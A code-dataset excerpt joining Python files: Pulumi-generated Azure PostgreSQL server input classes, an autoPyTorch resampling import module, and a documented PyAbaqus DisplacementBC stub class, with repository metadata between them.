Optional[pulumi.Input[bool]] = None, requested: Optional[pulumi.Input[str]] = None, resource_id: Optional[pulumi.Input[str]] = None, spec_hash: Optional[pulumi.Input[str]] = None, state: Optional[pulumi.Input[str]] = None): """ ASOStatus (AzureServiceOperatorsStatus) defines the observed state of resource actions """ if completed is not None: pulumi.set(__self__, "completed", completed) if contains_update is not None: pulumi.set(__self__, "contains_update", contains_update) if failed_provisioning is not None: pulumi.set(__self__, "failed_provisioning", failed_provisioning) if flattened_secrets is not None: pulumi.set(__self__, "flattened_secrets", flattened_secrets) if message is not None: pulumi.set(__self__, "message", message) if output is not None: pulumi.set(__self__, "output", output) if polling_url is not None: pulumi.set(__self__, "polling_url", polling_url) if provisioned is not None: pulumi.set(__self__, "provisioned", provisioned) if provisioning is not None: pulumi.set(__self__, "provisioning", provisioning) if requested is not None: pulumi.set(__self__, "requested", requested) if resource_id is not None: pulumi.set(__self__, "resource_id", resource_id) if spec_hash is not None: pulumi.set(__self__, "spec_hash", spec_hash) if state is not None: pulumi.set(__self__, "state", state) @property @pulumi.getter def completed(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "completed") @completed.setter def completed(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "completed", value) @property @pulumi.getter(name="containsUpdate") def contains_update(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "contains_update") @contains_update.setter def contains_update(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "contains_update", value) @property @pulumi.getter(name="failedProvisioning") def failed_provisioning(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "failed_provisioning") @failed_provisioning.setter def failed_provisioning(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "failed_provisioning", value) @property @pulumi.getter(name="flattenedSecrets") def flattened_secrets(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "flattened_secrets") @flattened_secrets.setter def flattened_secrets(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "flattened_secrets", value) @property @pulumi.getter def message(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "message") @message.setter def message(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "message", value) @property @pulumi.getter def output(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "output") @output.setter def output(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "output", value) @property @pulumi.getter(name="pollingUrl") def polling_url(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "polling_url") @polling_url.setter def polling_url(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "polling_url", value) @property @pulumi.getter def provisioned(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "provisioned") @provisioned.setter def provisioned(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "provisioned", value) @property @pulumi.getter def provisioning(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "provisioning") @provisioning.setter def provisioning(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "provisioning", value) @property @pulumi.getter def requested(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "requested") @requested.setter def requested(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "requested", value) @property @pulumi.getter(name="resourceId") def resource_id(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "resource_id") @resource_id.setter def resource_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "resource_id", value) @property @pulumi.getter(name="specHash") def spec_hash(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "spec_hash") @spec_hash.setter def spec_hash(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "spec_hash", value) @property @pulumi.getter def state(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "state") @state.setter def state(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "state", value) @pulumi.input_type class PostgreSQLServerSpecArgs: def __init__(__self__, *, location: pulumi.Input[str], resource_group: pulumi.Input[str], create_mode: Optional[pulumi.Input[str]] = None, key_vault_to_store_secrets: Optional[pulumi.Input[str]] = None, replica_properties: Optional[pulumi.Input['PostgreSQLServerSpecReplicaPropertiesArgs']] = None, server_version: Optional[pulumi.Input[str]] = None, sku: Optional[pulumi.Input['PostgreSQLServerSpecSkuArgs']] = None, ssl_enforcement: Optional[pulumi.Input[str]] = None, storage_profile: Optional[pulumi.Input['PostgreSQLServerSpecStorageProfileArgs']] = None): """ PostgreSQLServerSpec defines the desired state of PostgreSQLServer :param pulumi.Input[str] server_version: ServerVersion enumerates the values for server version. """ pulumi.set(__self__, "location", location) pulumi.set(__self__, "resource_group", resource_group) if create_mode is not None: pulumi.set(__self__, "create_mode", create_mode) if key_vault_to_store_secrets is not None: pulumi.set(__self__, "key_vault_to_store_secrets", key_vault_to_store_secrets) if replica_properties is not None: pulumi.set(__self__, "replica_properties", replica_properties) if server_version is not None: pulumi.set(__self__, "server_version", server_version) if sku is not None: pulumi.set(__self__, "sku", sku) if ssl_enforcement is not None: pulumi.set(__self__, "ssl_enforcement", ssl_enforcement) if storage_profile is not None: pulumi.set(__self__, "storage_profile", storage_profile) @property @pulumi.getter def location(self) -> pulumi.Input[str]: return pulumi.get(self, "location") @location.setter def location(self, value: pulumi.Input[str]): pulumi.set(self, "location", value) @property @pulumi.getter(name="resourceGroup") def resource_group(self) -> pulumi.Input[str]: return pulumi.get(self, "resource_group") @resource_group.setter def resource_group(self, value: pulumi.Input[str]): pulumi.set(self, "resource_group", value) @property @pulumi.getter(name="createMode") def create_mode(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "create_mode") @create_mode.setter def create_mode(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "create_mode", value) @property @pulumi.getter(name="keyVaultToStoreSecrets") def key_vault_to_store_secrets(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "key_vault_to_store_secrets") @key_vault_to_store_secrets.setter def key_vault_to_store_secrets(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "key_vault_to_store_secrets", value) @property @pulumi.getter(name="replicaProperties") def replica_properties(self) -> Optional[pulumi.Input['PostgreSQLServerSpecReplicaPropertiesArgs']]: return pulumi.get(self, "replica_properties") @replica_properties.setter def replica_properties(self, value: Optional[pulumi.Input['PostgreSQLServerSpecReplicaPropertiesArgs']]): pulumi.set(self, "replica_properties", value) @property @pulumi.getter(name="serverVersion") def server_version(self) -> Optional[pulumi.Input[str]]: """ ServerVersion enumerates the values for server version. """ return pulumi.get(self, "server_version") @server_version.setter def server_version(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "server_version", value) @property @pulumi.getter def sku(self) -> Optional[pulumi.Input['PostgreSQLServerSpecSkuArgs']]: return pulumi.get(self, "sku") @sku.setter def sku(self, value: Optional[pulumi.Input['PostgreSQLServerSpecSkuArgs']]): pulumi.set(self, "sku", value) @property @pulumi.getter(name="sslEnforcement") def ssl_enforcement(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "ssl_enforcement") @ssl_enforcement.setter def ssl_enforcement(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "ssl_enforcement", value) @property @pulumi.getter(name="storageProfile") def storage_profile(self) -> Optional[pulumi.Input['PostgreSQLServerSpecStorageProfileArgs']]: return pulumi.get(self, "storage_profile") @storage_profile.setter def storage_profile(self, value: Optional[pulumi.Input['PostgreSQLServerSpecStorageProfileArgs']]): pulumi.set(self, "storage_profile", value) @pulumi.input_type class PostgreSQLServerSpecReplicaPropertiesArgs: def __init__(__self__, *, source_server_id: Optional[pulumi.Input[str]] = None): if source_server_id is not None: pulumi.set(__self__, "source_server_id", source_server_id) @property @pulumi.getter(name="sourceServerId") def source_server_id(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "source_server_id") @source_server_id.setter def source_server_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "source_server_id", value) @pulumi.input_type class PostgreSQLServerSpecSkuArgs: def __init__(__self__, *, capacity: Optional[pulumi.Input[int]] = None, family: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, size: Optional[pulumi.Input[str]] = None, tier: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[int] capacity: Capacity - The scale up/out capacity, representing server's compute units. :param pulumi.Input[str] family: Family - The family of hardware. :param pulumi.Input[str] name: Name - The name of the sku, typically, tier + family + cores, e.g. B_Gen4_1, GP_Gen5_8. :param pulumi.Input[str] size: Size - The size code, to be interpreted by resource as appropriate. :param pulumi.Input[str] tier: Tier - The tier of the particular SKU, e.g. Basic. Possible values include: 'Basic', 'GeneralPurpose', 'MemoryOptimized' """ if capacity is not None: pulumi.set(__self__, "capacity", capacity) if family is not None: pulumi.set(__self__, "family", family) if name is not None: pulumi.set(__self__, "name", name) if size is not None: pulumi.set(__self__, "size", size) if tier is not None: pulumi.set(__self__, "tier", tier) @property @pulumi.getter def capacity(self) -> Optional[pulumi.Input[int]]: """ Capacity - The scale up/out capacity, representing server's compute units. """ return pulumi.get(self, "capacity") @capacity.setter def capacity(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "capacity", value) @property @pulumi.getter def family(self) -> Optional[pulumi.Input[str]]: """ Family - The family of hardware. """ return pulumi.get(self, "family") @family.setter def family(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "family", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ Name - The name of the sku, typically, tier + family + cores, e.g. B_Gen4_1, GP_Gen5_8. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter def size(self) -> Optional[pulumi.Input[str]]: """ Size - The size code, to be interpreted by resource as appropriate. """ return pulumi.get(self, "size") @size.setter def size(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "size", value) @property @pulumi.getter def tier(self) -> Optional[pulumi.Input[str]]: """ Tier - The tier of the particular SKU, e.g. Basic. Possible values include: 'Basic', 'GeneralPurpose', 'MemoryOptimized' """ return pulumi.get(self, "tier") @tier.setter def tier(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "tier", value) @pulumi.input_type class PostgreSQLServerSpecStorageProfileArgs: def __init__(__self__, *, backup_retention_days: Optional[pulumi.Input[int]] = None, geo_redundant_backup: Optional[pulumi.Input[str]] = None, storage_autogrow: Optional[pulumi.Input[str]] = None, storage_mb: Optional[pulumi.Input[int]] = None): """ :param pulumi.Input[int] backup_retention_days: BackupRetentionDays - Backup retention days for the server. :param pulumi.Input[str] geo_redundant_backup: GeoRedundantBackup - Enable Geo-redundant or not for server backup. Possible values include: 'Enabled', 'Disabled' :param pulumi.Input[str] storage_autogrow: StorageAutogrow - Enable Storage Auto Grow. Possible values include: 'StorageAutogrowEnabled', 'StorageAutogrowDisabled' :param pulumi.Input[int] storage_mb: StorageMB - Max storage allowed for a server. """ if backup_retention_days is not None: pulumi.set(__self__, "backup_retention_days", backup_retention_days) if geo_redundant_backup is not None: pulumi.set(__self__, "geo_redundant_backup", geo_redundant_backup) if storage_autogrow is not None: pulumi.set(__self__, "storage_autogrow", storage_autogrow) if storage_mb is not None: pulumi.set(__self__, "storage_mb", storage_mb) @property @pulumi.getter(name="backupRetentionDays") def backup_retention_days(self) -> Optional[pulumi.Input[int]]: """ BackupRetentionDays - Backup retention days for the server. """ return pulumi.get(self, "backup_retention_days") @backup_retention_days.setter def backup_retention_days(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "backup_retention_days", value) @property @pulumi.getter(name="geoRedundantBackup") def geo_redundant_backup(self) -> Optional[pulumi.Input[str]]: """ GeoRedundantBackup - Enable Geo-redundant or not for server backup. Possible values include: 'Enabled', 'Disabled' """ return pulumi.get(self, "geo_redundant_backup") @geo_redundant_backup.setter def geo_redundant_backup(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "geo_redundant_backup", value) @property @pulumi.getter(name="storageAutogrow") def storage_autogrow(self) -> Optional[pulumi.Input[str]]: """ StorageAutogrow - Enable Storage Auto Grow. Possible values include: 'StorageAutogrowEnabled', 'StorageAutogrowDisabled' """ return pulumi.get(self, "storage_autogrow") @storage_autogrow.setter def storage_autogrow(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "storage_autogrow", value) @property @pulumi.getter(name="storageMB") def storage_mb(self) -> Optional[pulumi.Input[int]]: """ StorageMB - Max storage allowed for a server. """ return pulumi.get(self, "storage_mb") @storage_mb.setter def storage_mb(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "storage_mb", value) @pulumi.input_type class PostgreSQLServerStatusArgs: def __init__(__self__, *, completed: Optional[pulumi.Input[str]] = None, contains_update: Optional[pulumi.Input[bool]] = None, failed_provisioning: Optional[pulumi.Input[bool]] = None, flattened_secrets: Optional[pulumi.Input[bool]] = None, message: Optional[pulumi.Input[str]] = None, output: Optional[pulumi.Input[str]] = None, polling_url: Optional[pulumi.Input[str]] = None, provisioned: Optional[pulumi.Input[bool]] = None, provisioning: Optional[pulumi.Input[bool]] = None, requested: Optional[pulumi.Input[str]] = None, resource_id: Optional[pulumi.Input[str]] = None, spec_hash: Optional[pulumi.Input[str]] = None, state: Optional[pulumi.Input[str]] = None): """ ASOStatus (AzureServiceOperatorsStatus) defines the observed state of resource actions """ if completed is not None: pulumi.set(__self__, "completed", completed) if contains_update is not None: pulumi.set(__self__, "contains_update", contains_update) if failed_provisioning is not None: pulumi.set(__self__, "failed_provisioning", failed_provisioning) if flattened_secrets is not None: pulumi.set(__self__, "flattened_secrets", flattened_secrets) if message is not None: pulumi.set(__self__, "message", message) if output is not None: pulumi.set(__self__, "output", output) if polling_url is not None: pulumi.set(__self__, "polling_url", polling_url) if provisioned is not None: pulumi.set(__self__, "provisioned", provisioned) if provisioning is not None: pulumi.set(__self__, "provisioning", provisioning) if requested is not None: pulumi.set(__self__, "requested", requested) if resource_id is not None: pulumi.set(__self__, "resource_id", resource_id) if spec_hash is not None: pulumi.set(__self__, "spec_hash", spec_hash) if state is not None: pulumi.set(__self__, "state", state) @property @pulumi.getter def completed(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "completed") @completed.setter def completed(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "completed", value) @property @pulumi.getter(name="containsUpdate") def contains_update(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "contains_update") @contains_update.setter def contains_update(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "contains_update", value) @property @pulumi.getter(name="failedProvisioning") def failed_provisioning(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "failed_provisioning") @failed_provisioning.setter def failed_provisioning(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "failed_provisioning", value) @property @pulumi.getter(name="flattenedSecrets") def flattened_secrets(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "flattened_secrets") @flattened_secrets.setter def flattened_secrets(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "flattened_secrets", value) @property @pulumi.getter def message(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "message") @message.setter def message(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "message", value) @property @pulumi.getter def output(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "output") @output.setter def output(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "output", value) @property @pulumi.getter(name="pollingUrl") def polling_url(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "polling_url") @polling_url.setter def polling_url(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "polling_url", value) @property @pulumi.getter def provisioned(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "provisioned") @provisioned.setter def provisioned(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "provisioned", value) @property @pulumi.getter def provisioning(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "provisioning") @provisioning.setter def provisioning(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "provisioning", value) @property @pulumi.getter def requested(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "requested") @requested.setter def requested(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "requested", value) @property @pulumi.getter(name="resourceId") def resource_id(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "resource_id") @resource_id.setter def resource_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "resource_id", value) @property @pulumi.getter(name="specHash") def spec_hash(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "spec_hash") @spec_hash.setter def spec_hash(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "spec_hash", value) @property @pulumi.getter def state(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "state") @state.setter def state(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "state", value)

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a678487a1ca807a766c689671e214b7d9670a413

721

py

Python

autoPyTorch/components/preprocessing/resampling/__init__.py

mens-artis/Auto-PyTorch

da8528d5cb1d5ac6a9050eaa84a332a5a11ee6d5

[ "Apache-2.0" ]

1,657

2018-12-26T09:42:58.000Z

2022-03-31T04:59:25.000Z

autoPyTorch/components/preprocessing/resampling/__init__.py

mens-artis/Auto-PyTorch

da8528d5cb1d5ac6a9050eaa84a332a5a11ee6d5

[ "Apache-2.0" ]

320

2019-01-11T05:04:48.000Z

2022-03-31T13:11:04.000Z

autoPyTorch/components/preprocessing/resampling/__init__.py

mens-artis/Auto-PyTorch

da8528d5cb1d5ac6a9050eaa84a332a5a11ee6d5

[ "Apache-2.0" ]

208

2018-12-01T08:16:59.000Z

2022-03-30T19:20:02.000Z

from autoPyTorch.components.preprocessing.resampling.random import (RandomOverSamplingWithReplacement, RandomUnderSamplingWithReplacement) from autoPyTorch.components.preprocessing.resampling.smote import SMOTE from autoPyTorch.components.preprocessing.resampling.target_size_strategies import (TargetSizeStrategyAverageSample, TargetSizeStrategyDownsample, TargetSizeStrategyMedianSample, TargetSizeStrategyUpsample)

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7

a6ab6162e14a93162cc40dfe4f75ea7a5d1933fd

15,848

py

Python

src/abaqus/BoundaryCondition/DisplacementBC.py

Haiiliin/PyAbaqus

f20db6ebea19b73059fe875a53be370253381078

[ "MIT" ]

7

2022-01-21T09:15:45.000Z

2022-02-15T09:31:58.000Z

src/abaqus/BoundaryCondition/DisplacementBC.py

Haiiliin/PyAbaqus

f20db6ebea19b73059fe875a53be370253381078

[ "MIT" ]

null

src/abaqus/BoundaryCondition/DisplacementBC.py

Haiiliin/PyAbaqus

f20db6ebea19b73059fe875a53be370253381078

[ "MIT" ]

null

import typing from abaqusConstants import * from .BoundaryCondition import BoundaryCondition from ..Region.Region import Region class DisplacementBC(BoundaryCondition): """The DisplacementBC object stores the data for a displacement/rotation boundary condition. The DisplacementBC object is derived from the BoundaryCondition object. Attributes ---------- name: str A String specifying the boundary condition repository key. distributionType: SymbolicConstant A SymbolicConstant specifying how the boundary condition is distributed spatially. Possible values are UNIFORM, USER_DEFINED, FIELD, and DISCRETE_FIELD. The default value is UNIFORM. fixed: Boolean A Boolean specifying whether the boundary condition should remain fixed at the current values at the start of the step. The default value is OFF. buckleCase: SymbolicConstant A SymbolicConstant specifying how the boundary condition is defined in a BUCKLE analysis. Possible values are NOT_APPLICABLE, STRESS_PERTURBATION, BUCKLING_MODES, and PERTURBATION_AND_BUCKLING. The default value is NOT_APPLICABLE. fieldName: str A String specifying the name of the AnalyticalField or :py:class:`~abaqus.Field.DiscreteField.DiscreteField` object associated with this boundary condition. The **fieldName** argument applies only when **distributionType=FIELD** or **distributionType=DISCRETE_FIELD**. The default value is an empty string. category: SymbolicConstant A SymbolicConstant specifying the category of the boundary condition. Possible values are MECHANICAL and THERMAL. region: Region A :py:class:`~abaqus.Region.Region.Region` object specifying the region to which the boundary condition is applied. localCsys: str None or a :py:class:`~abaqus.Datum.DatumCsys.DatumCsys` object specifying the local coordinate system of the boundary condition's degrees of freedom. If **localCsys=None**, the degrees of freedom are defined in the global coordinate system. The default value is None. Notes ----- This object can be accessed by: .. code-block:: python import load mdb.models[name].boundaryConditions[name] """ # A String specifying the boundary condition repository key. name: str = '' # A SymbolicConstant specifying how the boundary condition is distributed spatially. # Possible values are UNIFORM, USER_DEFINED, FIELD, and DISCRETE_FIELD. The default value # is UNIFORM. distributionType: SymbolicConstant = UNIFORM # A Boolean specifying whether the boundary condition should remain fixed at the current # values at the start of the step. The default value is OFF. fixed: Boolean = OFF # A SymbolicConstant specifying how the boundary condition is defined in a BUCKLE # analysis. Possible values are NOT_APPLICABLE, STRESS_PERTURBATION, BUCKLING_MODES, and # PERTURBATION_AND_BUCKLING. The default value is NOT_APPLICABLE. buckleCase: SymbolicConstant = NOT_APPLICABLE # A String specifying the name of the AnalyticalField or DiscreteField object associated # with this boundary condition. The *fieldName* argument applies only when # *distributionType*=FIELD or *distributionType*=DISCRETE_FIELD. The default value is an # empty string. fieldName: str = '' # A SymbolicConstant specifying the category of the boundary condition. Possible values # are MECHANICAL and THERMAL. category: SymbolicConstant = None # A Region object specifying the region to which the boundary condition is applied. region: Region = Region() # None or a DatumCsys object specifying the local coordinate system of the boundary # condition's degrees of freedom. If *localCsys*=None, the degrees of freedom are defined # in the global coordinate system. The default value is None. localCsys: str = None def __init__(self, name: str, createStepName: str, region: Region, fieldName: str = '', u1: typing.Union[SymbolicConstant, float] = UNSET, u2: typing.Union[SymbolicConstant, float] = UNSET, u3: typing.Union[SymbolicConstant, float] = UNSET, ur1: typing.Union[SymbolicConstant, float] = UNSET, ur2: typing.Union[SymbolicConstant, float] = UNSET, ur3: typing.Union[SymbolicConstant, float] = UNSET, fixed: Boolean = OFF, amplitude: str = UNSET, distributionType: SymbolicConstant = UNIFORM, localCsys: str = None, buckleCase: SymbolicConstant = NOT_APPLICABLE): """This method creates a DisplacementBC object. Notes ----- This function can be accessed by: .. code-block:: python mdb.models[name].DisplacementBC Parameters ---------- name A String specifying the boundary condition repository key. createStepName A String specifying the name of the step in which the boundary condition is created. region A Region object specifying the region to which the boundary condition is applied. fieldName A String specifying the name of the AnalyticalField or DiscreteField object associated with this boundary condition. The *fieldName* argument applies only when *distributionType*=FIELD or *distributionType*=DISCRETE_FIELD. The default value is an empty string. u1 A Float, a Complex, or a SymbolicConstant specifying the displacement component in the 1-direction. Possible values for the SymbolicConstant are UNSET and SET. The default value is UNSET.Note:Although *u1*, *u2*, *u3*, *ur1*, *ur2*, and *ur3* are optional arguments, at least one of them must be specified. u2 A Float, a Complex, or a SymbolicConstant specifying the displacement component in the 2-direction. Possible values for the SymbolicConstant are UNSET and SET. The default value is UNSET. u3 A Float, a Complex, or a SymbolicConstant specifying the displacement component in the 3-direction. Possible values for the SymbolicConstant are UNSET and SET. The default value is UNSET. ur1 A Float, a Complex, or a SymbolicConstant specifying the rotational displacement component about the 1-direction. Possible values for the SymbolicConstant are UNSET and SET. The default value is UNSET. ur2 A Float, a Complex, or a SymbolicConstant specifying the rotational displacement component about the 2-direction. Possible values for the SymbolicConstant are UNSET and SET. The default value is UNSET. ur3 A Float, a Complex, or a SymbolicConstant specifying the rotational displacement component about the 3-direction. Possible values for the SymbolicConstant are UNSET and SET. The default value is UNSET. fixed A Boolean specifying whether the boundary condition should remain fixed at the current values at the start of the step. The default value is OFF. amplitude A String or the SymbolicConstant UNSET specifying the name of the amplitude reference. UNSET should be used if the boundary condition has no amplitude reference. The default value is UNSET. You should provide the *amplitude* argument only if it is valid for the specified step. distributionType A SymbolicConstant specifying how the boundary condition is distributed spatially. Possible values are UNIFORM, USER_DEFINED, FIELD, and DISCRETE_FIELD. The default value is UNIFORM. localCsys None or a DatumCsys object specifying the local coordinate system of the boundary condition's degrees of freedom. If *localCsys*=None, the degrees of freedom are defined in the global coordinate system. The default value is None. buckleCase A SymbolicConstant specifying how the boundary condition is defined in a BUCKLE analysis. Possible values are NOT_APPLICABLE, STRESS_PERTURBATION, BUCKLING_MODES, and PERTURBATION_AND_BUCKLING. The default value is NOT_APPLICABLE. Returns ------- A DisplacementBC object. """ super().__init__() pass def setValues(self, fieldName: str = '', u1: typing.Union[SymbolicConstant, float] = UNSET, u2: typing.Union[SymbolicConstant, float] = UNSET, u3: typing.Union[SymbolicConstant, float] = UNSET, ur1: typing.Union[SymbolicConstant, float] = UNSET, ur2: typing.Union[SymbolicConstant, float] = UNSET, ur3: typing.Union[SymbolicConstant, float] = UNSET, fixed: Boolean = OFF, amplitude: str = UNSET, distributionType: SymbolicConstant = UNIFORM, localCsys: str = None, buckleCase: SymbolicConstant = NOT_APPLICABLE): """This method modifies the data for an existing DisplacementBC object in the step where it is created. Parameters ---------- fieldName A String specifying the name of the AnalyticalField or DiscreteField object associated with this boundary condition. The *fieldName* argument applies only when *distributionType*=FIELD or *distributionType*=DISCRETE_FIELD. The default value is an empty string. u1 A Float, a Complex, or a SymbolicConstant specifying the displacement component in the 1-direction. Possible values for the SymbolicConstant are UNSET and SET. The default value is UNSET.Note:Although *u1*, *u2*, *u3*, *ur1*, *ur2*, and *ur3* are optional arguments, at least one of them must be specified. u2 A Float, a Complex, or a SymbolicConstant specifying the displacement component in the 2-direction. Possible values for the SymbolicConstant are UNSET and SET. The default value is UNSET. u3 A Float, a Complex, or a SymbolicConstant specifying the displacement component in the 3-direction. Possible values for the SymbolicConstant are UNSET and SET. The default value is UNSET. ur1 A Float, a Complex, or a SymbolicConstant specifying the rotational displacement component about the 1-direction. Possible values for the SymbolicConstant are UNSET and SET. The default value is UNSET. ur2 A Float, a Complex, or a SymbolicConstant specifying the rotational displacement component about the 2-direction. Possible values for the SymbolicConstant are UNSET and SET. The default value is UNSET. ur3 A Float, a Complex, or a SymbolicConstant specifying the rotational displacement component about the 3-direction. Possible values for the SymbolicConstant are UNSET and SET. The default value is UNSET. fixed A Boolean specifying whether the boundary condition should remain fixed at the current values at the start of the step. The default value is OFF. amplitude A String or the SymbolicConstant UNSET specifying the name of the amplitude reference. UNSET should be used if the boundary condition has no amplitude reference. The default value is UNSET. You should provide the *amplitude* argument only if it is valid for the specified step. distributionType A SymbolicConstant specifying how the boundary condition is distributed spatially. Possible values are UNIFORM, USER_DEFINED, FIELD, and DISCRETE_FIELD. The default value is UNIFORM. localCsys None or a DatumCsys object specifying the local coordinate system of the boundary condition's degrees of freedom. If *localCsys*=None, the degrees of freedom are defined in the global coordinate system. The default value is None. buckleCase A SymbolicConstant specifying how the boundary condition is defined in a BUCKLE analysis. Possible values are NOT_APPLICABLE, STRESS_PERTURBATION, BUCKLING_MODES, and PERTURBATION_AND_BUCKLING. The default value is NOT_APPLICABLE. """ pass def setValuesInStep(self, stepName: str, u1: typing.Union[SymbolicConstant, float] = SET, u2: typing.Union[SymbolicConstant, float] = SET, u3: typing.Union[SymbolicConstant, float] = SET, ur1: typing.Union[SymbolicConstant, float] = SET, ur2: typing.Union[SymbolicConstant, float] = SET, ur3: typing.Union[SymbolicConstant, float] = SET, amplitude: str = '', buckleCase: SymbolicConstant = NOT_APPLICABLE): """This method modifies the propagating data for an existing DisplacementBC object in the specified step. Parameters ---------- stepName A String specifying the name of the step in which the boundary condition is modified. u1 A Float, a Complex, or a SymbolicConstant specifying the displacement component in the 1-direction. Possible values for the SymbolicConstant are SET, UNCHANGED, and FREED. u2 A Float, a Complex, or a SymbolicConstant specifying the displacement component in the 2-direction. Possible values for the SymbolicConstant are SET, UNCHANGED, and FREED. u3 A Float, a Complex, or a SymbolicConstant specifying the displacement component in the 3-direction. Possible values for the SymbolicConstant are SET, UNCHANGED, and FREED. ur1 A Float, a Complex, or a SymbolicConstant specifying the rotational displacement component about the 1-direction. Possible values for the SymbolicConstant are SET, UNCHANGED, and FREED. ur2 A Float, a Complex, or a SymbolicConstant specifying the rotational displacement component about the 2-direction. Possible values for the SymbolicConstant are SET, UNCHANGED, and FREED. ur3 A Float, a Complex, or a SymbolicConstant specifying the rotational displacement component about the 3-direction. Possible values for the SymbolicConstant are SET, UNCHANGED, and FREED. amplitude A String or a SymbolicConstant specifying the name of the amplitude reference. Possible values for the SymbolicConstant are UNCHANGED and FREED. UNCHANGED should be used if the amplitude is propagated from the previous analysis step. FREED should be used if the boundary condition is changed to have no amplitude reference. You should provide the *amplitude* argument only if it is valid for the specified step. buckleCase A SymbolicConstant specifying how the boundary condition is defined in a BUCKLE analysis. Possible values are NOT_APPLICABLE, STRESS_PERTURBATION, BUCKLING_MODES, and PERTURBATION_AND_BUCKLING. The default value is NOT_APPLICABLE. """ pass

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7

a6c207cf5cc24c1464b5b3a417a5c2e0d5780f10

4,650

py

Python

tests/a_unit/test_dict.py

brianmay/python-tldap

8141d8d6768afb3da045099c821ba1f7e0f4d121

[ "BSD-3-Clause" ]

11

2015-02-26T03:25:06.000Z

2017-06-16T09:59:25.000Z

tests/a_unit/test_dict.py

brianmay/python-tldap

8141d8d6768afb3da045099c821ba1f7e0f4d121

[ "BSD-3-Clause" ]

58

2017-05-01T00:19:53.000Z

2021-07-15T13:01:15.000Z

tests/a_unit/test_dict.py

brianmay/python-tldap

8141d8d6768afb3da045099c821ba1f7e0f4d121

[ "BSD-3-Clause" ]

2

2015-09-01T23:46:03.000Z

2015-11-26T02:00:41.000Z

